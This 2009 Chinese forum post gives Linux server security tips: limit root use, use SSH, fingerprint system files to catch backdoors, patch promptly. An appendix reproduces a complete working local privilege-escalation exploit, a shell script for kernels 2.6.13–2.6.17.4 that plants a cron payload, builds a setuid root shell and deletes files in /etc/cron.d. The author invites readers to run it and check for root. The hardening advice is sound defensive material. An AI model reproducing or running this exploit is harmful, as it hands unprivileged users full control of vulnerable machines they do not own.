首页 运维 网络学院 查看内容

linux服务器防黑的几点建议

2009-6-27 11:13 675 0

摘要:   来论坛这么久了也没写什么像样的东西,今天吧自己维护服务器的一些心得和大家分享一下。写的有些乱,如果有错误的话请大家指出。太晚了,睡觉去了。  1,日常维护上应该注意的问题  服务器安置好了并不代表...
关键词: 一个 如果 软件 一些 不要 root 一般 include 服务器 木马

  来论坛这么久了也没写什么像样的东西,今天吧自己维护服务器的一些心得和大家分享一下。写的有些乱,如果有错误的话请大家指出。太晚了,睡觉去了。  1,日常维护上应该注意的问题  服务器安置好了并不代表万事大吉了。这只是一个新的开始,只要服务器接入了网络,每天都会遇到各种各样的挑战。如果日常维护上漫不经心一样会毁了你的服务器。  没有必要的时候不要使用root登录,就算你是root,也不要炫耀,原因就不用说了。为root设置一个复杂的密码。日常的维护可以用sudo分配给普通用户,用普通用户完成。  尽量不要用su成root。如果必须要用的话,一定要用/bin/su绝对路径运行。可以防止自己不会运行一个记录root帐号的木马。  远程登陆的时候尽量不要在陌生的计算机上用root登录服务器。很可能这个计算机上的软件是一个精心设计的木马。用像SSH这样的加密传输的程序进行远程维护。不要用一些明文传输的软件,如,telnet。如果存在嗅探器的话你的密码就完了。  日志分析也是一个经常需要做的事情,提早发现问题,尽快解决。总比亡羊补牢要好的多。  2,严防linux病毒木马。  其实linux中的黑客程序和木马并不少,如果大家到国外的黑客网站看看,就会发现每天都会有人发布一些针对linux漏洞进行攻击的脚本或源代码,数量不比windows中的少多少。  但大都只提供很少的信息,真正会用的人不多。但是对于一个经验丰富的黑客,根本不算什么。他们一般是先得到一个权限不高的shell,再想办法在本地提升权限。所以千万不要给他们这样的机会。最危险的是远程溢出,这个一般是利用一些漏洞,所以要及时补上。还有不需要远程登录的功能尽量关闭,如mysql。  如果不幸root已经被攻破了,一般他们都会装一些后门,如果用tripwire曾经用生成过文件指纹数据库的话,就可以效验系统文件是否被替换了。tripwire软件现在商业气息很浓,可以用integrit代替或自己编写一个脚本实现。最厉害的还是内核级的后门,用tripwire查不出来,没有什么好的方法,只能屏经验了。  一般被入侵后ps、netstat这些命令都不可靠了,可以把以前备份的正常命令复制回来再用。或用一个最简单的方法查找,用nmap搜一下本机的端口,后门一般都会开一个端口用于远程连接。  至于病毒不用太担心,由于linux主机相对来说还很少,也很分散,对病毒的传播不利,特别是蠕虫。  3,关于软件版本的选择  linux中的软件很多都是开源的。一般分两种情况,有些更新迅速,都是一些热门都软件。还有一些迟迟没有更新,很有可能是作者准备放弃了。  对于服务器来讲千万不要出了新版就马上更新,虽然新版本在功能上和速度上会有提升,但新的软件都有一些新加入的代码,这些代码的安全性要经过一段时间才能确定下来。所以等稳定后再更新也不晚。但也有例外,比如2.6.17系列内核就曾发现过很多漏洞,但新的2.6.18系列还没发现严重的漏洞,所以更新成2.6.18就是一个不错的选择。  迟迟没有更新的软件,如果这个软件很重要的话,不要急着换,可以等等,一般如果一个软件很有创意和影响的话,就算作者不再更新了,不久就会有一个新的开发小组接替他的工作。  【附录】  下面举一个木马的例子,看看黑客是如何提升权限的,附上一个在国外网站复制来的一个源代码,用于本地溢出,使普通用户提升为管理员,如果你的内核是2.6.13<= x <=2.6.17.4或2.6.9-22.ELsmp在普通用户下可以试试。  这个脚本是很简单的,大家可以建一个文件,把下面的代码输进去,加上运行权限。运行就行了。  脚本会建立两个c程序代码文件。默认用cc编译。大家也可以改成gcc  运行后,用id命令看一下,发现已经有root权限了。  #!/bin/sh  #  # PRCTL local root exp By: Sunix  # + effected systems 2.6.13<= x <=2.6.17.4 + 2.6.9-22.ELsmp  # tested on Intel(R) Xeon(TM) CPU 3.20GHz  # kernel 2.6.9-22.ELsmp  # maybe others ...  # Tx to drayer & RoMaNSoFt for their clear code...  #  # [email protected]  cat > /tmp/getsuid.c << __EOF__  #include <stdio.h>  #include <sys/time.h>  #include <sys/resource.h>  #include <unistd.h>  #include <linux/prctl.h>  #include <stdlib.h>  #include <sys/types.h>  #include <signal.h>  char  *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* *  * * *   root   chown root.root /tmp/s ; chmod 4777 /tmp/s ; rm -f /etc/cron.d/core\n";  int main() {  int child;  struct rlimit corelimit;  corelimit.rlim_cur = RLIM_INFINITY;  corelimit.rlim_max = RLIM_INFINITY;  setrlimit(RLIMIT_CORE, &corelimit);  if ( !( child = fork() )) {  chdir("/etc/cron.d");  prctl(PR_SET_DUMPABLE, 2);  sleep(200);  exit(1);  }  kill(child, SIGSEGV);  sleep(120);  }  __EOF__  cat > /tmp/s.c << __EOF__  #include<stdio.h>  main(void)  {  setgid(0);  setuid(0);  system("/bin/sh");  system("rm -rf /tmp/s");  system("rm -rf /etc/cron.d/*");  return 0;  }  __EOF__  echo "wait aprox 4 min to get sh"  cd /tmp  cc -o s s.c  cc -o getsuid getsuid.c  ./getsuid  ./s  rm -rf getsuid*  rm -rf s.c  rm -rf prctl.sh  # milw0rm.com [2006-07-14]
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部